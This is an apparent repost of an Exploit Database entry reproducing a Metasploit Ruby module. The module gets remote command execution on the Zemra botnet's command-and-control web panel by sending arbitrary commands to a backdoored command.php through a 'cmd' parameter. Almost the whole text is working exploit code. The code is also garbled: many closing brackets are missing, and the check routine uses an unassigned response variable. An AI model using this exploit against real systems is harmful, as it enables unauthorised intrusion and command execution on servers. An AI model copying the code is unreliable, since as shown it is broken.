Zemra Botnet (C2 Web Panel) – Remote Code Execution (Metasploit)

Exploit Database
113 阅读

作者： Metasploit

日期： 2015-10-05
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/38402/

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',

'Description'=> %q{

This module exploits the CnC web panel of Zemra Botnet which contains a backdoor

inside its leaked source code. Zemra is a crimeware bot that can be used to

conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.

'License'=> MSF_LICENSE,

'Author' =>

[

'Jay Turla <@shipcod3>', #Metasploit Module

'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)

'Darren Martyn <@info_dox>' #Initial Discovery

'References' =>

[

['URL', 'http://0day.today/exploit/19259'],

['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro

['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']

'Privileged' => false,

'Payload'=>

{

'Space'=> 10000,

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd'

}

'Platform' => %w{ unix win },

'Arch' => ARCH_CMD,

'Targets'=>

[

['zemra panel / Unix', { 'Platform' => 'unix' } ],

['zemra panel / Windows', { 'Platform' => 'win' } ]

'DisclosureDate' => 'Jun 28 2012',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),

],self.class)

end

def check

txt = Rex::Text.rand_text_alpha(8)

http_send_command(txt)

if res && res.body =~ /cmd/

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def http_send_command(cmd)

uri = normalize_uri(target_uri.path.to_s)

res = send_request_cgi({

'method'=> 'GET',

'uri' => uri,

'vars_get'=>

{

'cmd' => cmd

}

})

unless res && res.code == 200

fail_with(Failure::Unknown, 'Failed to execute the command.')

end

res

end

def exploit

http_send_command(payload.encoded)

end